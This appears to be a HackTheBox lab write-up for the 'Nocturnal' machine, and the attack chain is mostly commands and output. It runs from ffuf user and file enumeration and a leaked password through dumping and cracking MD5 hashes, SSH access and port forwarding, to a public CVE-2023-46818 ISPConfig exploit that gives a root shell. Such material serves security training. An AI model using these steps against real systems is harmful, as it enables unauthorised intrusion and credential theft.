Nocturnal – HackTheBox Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: HackTheBox
![]()
Summary Link to heading
“Nocturnal” is an Easy box from HackTheBox platform. The victim machine is running a web server that exposes an endpoint that can be used, through bruteforce, to leak a file. This file contains credentials that do work as admin in the main webpage. An admin can download backups files that includes a database file that leaks another password for another user. These new credentials work in SSH service, allowing us to gain initial access to the victim machine. After that, we can see an internal service running as root identified as ISPConfig -a tool used to manage emails and DNS records-. Credentials previously found works for this service as admin user. Once in, we check this software version and find that it is vulnerable to CVE-2023-46818, a vulnerability that allows code injection. Abusing this vulnerability, we get a shell as root and compromise the system.
User Link to heading
We start searching for open TCP ports with Nmap:
❯ sudo nmap -p- --min-rate=5000 --open -sS -n -Pn -vvv 10.129.219.164
We find only 2 ports open: 22 SSH and 80 HTTP. We apply some recognition scripts over these ports with -sVC flag with Nmap:
❯ sudo nmap -sVC -p22,80 10.129.219.164
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 01:15 -04
Nmap scan report for 10.129.219.164
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.39 seconds
From output for port 80 HTTP we can see that the site redirects to http://nocturnal.htb domain.
We add this domain, along with the target IP address, to our /etc/hosts file running in a terminal:
❯ echo '10.129.219.164 nocturnal.htb' | sudo tee -a /etc/hosts
Using WhatWeb against the site shows a contact email (support@nocturnal.htb) and also shows that this server is running with Nginx:
❯ whatweb -a 3 http://nocturnal.htb
http://nocturnal.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[support@nocturnal.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.219.164], Title[Welcome to Nocturnal], nginx[1.18.0]
Visiting http://nocturnal.htb in a web browser shows:

The page says that we are able to upload Word, Excel and PDF documents in it.
We can create an account clicking on register and then using this account to log in. Once we have created an account, we are able tu upload files:

We can upload a simple PDF file (which in my case is called dummy.pdf). Once uploaded we can see it on the web:

Doing some hovering (putting our mouse above dummy.pdf link text) shows that it redirects to the link:
http://nocturnal.htb/view.php?username=gunzf0x&file=dummy.pdf
This might mean that if our user is called <user> and our uploaded file is called <file>, then the generated file will be called:
http://nocturnal.htb/view.php?username=<user>&file=<file>
If we intercept with Burpsuite what is the request sent when we weant to download the uploaded file we get the response:

GET /view.php?username=gunzf0x&file=dummy.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i
But nothing besides this.
If we search for a random file sending the request:
GET /view.php?username=gunzf0&file=test.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i
We get the response in the web:

We get File does not exist.
Now, if we change our username parameter to a user that clearly does not exist:
GET /view.php?username=gunzf0xtester&file=test.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i
We get the response:

We can now see the text User not found.
In summary: we can make request using username parameter along with the presence (or lack of presence) of User not found text to search for valid users; and we can use the presence (or absence) of File does not exist to search for valid files.
First, let’s search for valid users using ffuf. We can search for valid users filtering by the response size. For example, when we make the request:
❯ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du'
<SNIP>
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
info [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 233ms]
2000 [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 228ms]
NULL [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 228ms]
michael [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 229ms]
dave [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 230ms]
tarrant [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 230ms]
david [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 436ms]
mark [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 436ms]
<SNIP>
We get responses with size 2985 since User not found text is there as we can manually check with cURL:
❯ curl -s -X GET 'http://nocturnal.htb/view.php?username=michael&file=test.pdf' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du' | html2text
****** File Viewer ******
User not found.
But if the response found a valid user the size of the response will change from 2985 (except if the error message displayed for a valid user, but an invalid file, returns exactly the same response size; which would be really, really unlucky). Therefore, filter by the response size 2985 in ffuf adding -fs flag:
❯ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du' -fs 2985
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2985
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 447ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 226ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 224ms]
We find 3 valid users: admin, amanda and tobias.
Since the site says we are able to upload Word, Excel and PDF file we can search for different formats. We can check this page from Microsoft to see valid extensions for Word and Excel; and .pdf for PDF files. We create the following dictionary for these valid formats:
❯ cat valid_formats.txt
doc
docx
docm
dot
dotm
odt
pdf
csv
dbf
dif
ods
txt
xls
xlsx
xla
xlsm
and search for potential files:
❯ ffuf -w ./potential_users.txt:FUZZ1 -w ./valid_formats.txt:FUZZ2 -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ3 -u 'http://nocturnal.htb/view.php?username=FUZZ1&file=FUZZ3.FUZZ2' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du' -fs 2967,3000-3200
<SNIP>
________________________________________________
[Status: 200, Size: 23396, Words: 1232, Lines: 216, Duration: 228ms]
* FUZZ1: amanda
* FUZZ2: odt
* FUZZ3: privacy
We find a valid file: privacy.odt for amanda user.
Visiting then:
http://nocturnal.htb/view.php?username=amanda&file=privacy.odt
with our current session downloads a file.
We can open this file in an online PDT Viewer page such as this one. Upload the privacy.odt file and check its content. We can also attempt to open this file locally:
❯ xdg-open ./privacy.odt
and open content.xml file:

Opening this file in a web browser such as Firefox shows:

We get the following text for Amanda:
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.
We have a potential password: arHkG7HAI68X8s1J for amanda user.
This password does not work for amanda through SSH, as we can check with NetExec tool:
❯ nxc ssh nocturnal.htb -u 'amanda' -p 'arHkG7HAI68X8s1J'
SSH 10.129.219.164 22 nocturnal.htb [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.129.219.164 22 nocturnal.htb [-] amanda:arHkG7HAI68X8s1J
However, if we log out from our current session in the web server and go to http://nocturnal.htb/login.php, the credentials amanda:arHkG7HAI68X8s1J do work and we are inside the panel:

We can see a new button that says Go to Admin Panel. Clicking on it redirects to /admin.php, where we can see:

If we scroll down to the webpage, we can create a backup that asks for a password:

Additionally, if we click on admin.php, the same page displays the source code of admin.php page itself. There, the PHP code shows how the backup is generated. The main function creating the backup is:
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
sleep(2);
$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}
unlink($logFile);
}
}
?>
The password is defined in a function called cleanEntry, which is defined as:
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
The sensitive part is the line creating the backup file is:
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
and then this $command variable is executed in:
$process = proc_open($command, $descriptor_spec, $pipes);
In other words, we might attempt to inject command through $password variable. However, some characters are banned to avoid Command Injection.
If we download a backup adding a simple password such as test and we check the content of the generated file with 7z we get:
❯ 7z l backup_2025-04-13.zip
<SNIP>
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-03-04 12:34:41 ..... 7357 2421 admin.php
2025-03-21 03:40:01 D.... 0 0 uploads
2024-10-06 17:54:39 ..... 20477 18391 uploads/privacy.odt
2024-10-22 02:12:02 ..... 1382 718 register.php
2024-10-22 02:12:09 ..... 1403 728 login.php
2025-04-09 06:52:33 ..... 2644 1158 dashboard.php
2025-04-09 06:56:19 ..... 20480 683 nocturnal_database.db
2025-04-09 06:52:33 ..... 1639 834 index.php
2024-10-22 02:12:34 ..... 5344 1685 view.php
2024-10-04 23:23:43 ..... 84 82 logout.php
2024-10-18 22:26:31 ..... 3105 988 style.css
------------------- ----- ------------ ------------ ------------------------
2025-04-09 06:56:19 63915 27688 10 files, 1 folders
We have a file nocturnal_databae.db, which is new.
unzip the file using the password we have used to create the backup:
❯ unzip backup_2025-04-13.zip -d ./backup_content
Archive: backup_2025-04-13.zip
[backup_2025-04-13.zip] admin.php password:
inflating: ./backup_content/admin.php
creating: ./backup_content/uploads/
inflating: ./backup_content/uploads/privacy.odt
inflating: ./backup_content/register.php
inflating: ./backup_content/login.php
inflating: ./backup_content/dashboard.php
inflating: ./backup_content/nocturnal_database.db
inflating: ./backup_content/index.php
inflating: ./backup_content/view.php
inflating: ./backup_content/logout.php
inflating: ./backup_content/style.css
nocturnal_database.db is an SQLite file:
❯ file ./backup_content/nocturnal_database.db
./backup_content/nocturnal_database.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 15, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 15
Open this .db file using SQLite in our attacker machine:
❯ sqlite3 ./backup_content/nocturnal_database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite>
Search for tables that could contain potential passwords:
sqlite> SELECT tbl.name, col.name FROM sqlite_master tbl JOIN pragma_table_info(tbl.name) col WHERE col.name LIKE '%pass%' OR col.name LIKE '%pwd%';
users|password
This means that users table contains a column called password.
users table has 3 columns: id, username and password:
sqlite> PRAGMA table_info(users);
0|id|INTEGER|0||1
1|username|TEXT|1||0
2|password|TEXT|1||0
Check the content for username and password:
sqlite> SELECT username,password FROM users;
admin|d725aeba143f575736b07e045d8ceebb
amanda|df8b20aa0c935023f99ea58358fb63c4
tobias|55c82b1ccd55ab219b3b109b07d5061d
We have a new hash for tobias user. Since this hash is 32 characters long, it possibly is a MD5 hash.
We save this hash in a file named tobias_hash and attempt a Brute Force Password Cracking with JohnTheRipper:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt tobias_hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
slowmotionapocalypse (?)
1g 0:00:00:00 DONE (2025-04-13 03:35) 1.136g/s 4197Kp/s 4197Kc/s 4197KC/s slp312..slow86
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
We get a password: slowmotionapocalypse.
Check if this password works for tobias user with SSH using NetExec tool:
❯ nxc ssh nocturnal.htb -u 'tobias' -p 'slowmotionapocalypse'
SSH 10.129.219.164 22 nocturnal.htb [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.129.219.164 22 nocturnal.htb [+] tobias:slowmotionapocalypse Linux - Shell access!
These credentials work.
Log in as tobias user through SSH:
❯ sshpass -p 'slowmotionapocalypse' ssh -o stricthostkeychecking=no tobias@nocturnal.htb
<SNIP>
Last login: Sun Apr 13 07:37:25 2025 from 10.10.16.56
tobias@nocturnal:~$
We can grab the user flag at /home/tobias directory.
Root Link to heading
Checking internal ports open we can see:
tobias@nocturnal:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 10 127.0.0.1:587 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
Port 8080 is new.
Additionally, with ps we can check who is running this process:
tobias@nocturnal:~$ ps aux | grep 8080
root 1023 0.0 0.8 286480 34324 ? Ss 05:47 0:00 /usr/bin/php -S 127.0.0.1:8080
tobias 2953 0.0 0.0 6432 720 pts/0 S+ 07:54 0:00 grep --color=auto 8080
Apparently this process is being executed by root. So it could be potentially used to escalate privileges.
We can check if this a web service using cURL against this local site:
tobias@nocturnal:~$ curl -I http://127.0.0.1:8080
HTTP/1.1 302 Found
Host: 127.0.0.1:8080
Date: Sun, 13 Apr 2025 07:41:30 GMT
Connection: close
X-Powered-By: PHP/7.4.3-4ubuntu2.29
Content-Type: text/html; charset=utf-8
Set-Cookie: ISPCSESS=4p8uen9mi3fe4v8j4th6o6dlug; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login/
It is redirecting to /login/. It is apparently a website.
We can close the current SSH session as tobias and log in again, but this time we create a tunnel through a Local Port Forwarding using -L option to convert port 8080 of the victim machine into our localhost 8080 port (remember also to close Burpsuite if we were using it, since Burpsuite uses port 8080 by default and port 8080 could already be used):
❯ sshpass -p 'slowmotionapocalypse' ssh -o stricthostkeychecking=no -L 8080:127.0.0.1:8080 tobias@nocturnal.htb
Once done, in a web browser, we visit http://127.0.0.1:8080 where we can see a new site with a login panel:

It seems to be an internal ISPConfig application.
ISPConfig is an open source hosting control panel for Linux, licensed under BSD license and developed by the company ISPConfig UG. ISPConfig allows administrators to manage websites, email addresses and DNS records through a web-based interface.Searching for default credentials for ISPConfig we find this forum. It’s pretty old (from 2005, wow), but there they provide the super secure credentials admin:admin. These credentials does not work in the site. However, admin:slowmotionapocalypse credentials (the same password for tobias user) do work. We are in:

If we click on Help we can see the current version for ISPConfig:

The current version is 3.2.10p1.
Checking at MITRE CVE webpage by vulnerabilities for ISPConfig with this version we find a vulnerability labeled as CVE-2023-46818. It affects versions before 3.2.11p1 and is a critical vulnerability since it allows PHP code injection. Searching for public Proof of Concepts for this vulnerability we find this repository. We clone it in our attacker machine:
❯ git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git -q
This exploit just asks for a password, user and url:
❯ cd CVE-2023-46818-python-exploit
❯ python3 exploit.py
Usage: python exploit.py <URL> <Username> <Password>
and run the exploit against our localhost (127.0.0.1) that will be used against the target machine thanks to the generated tunnel with SSH:
❯ python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse
[+] Target URL: http://127.0.0.1:8080/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell
ispconfig-shell# whoami
root
We get a shell as root in the victim machine. GG. We can grab the root flag at /root directory.
~Happy Hacking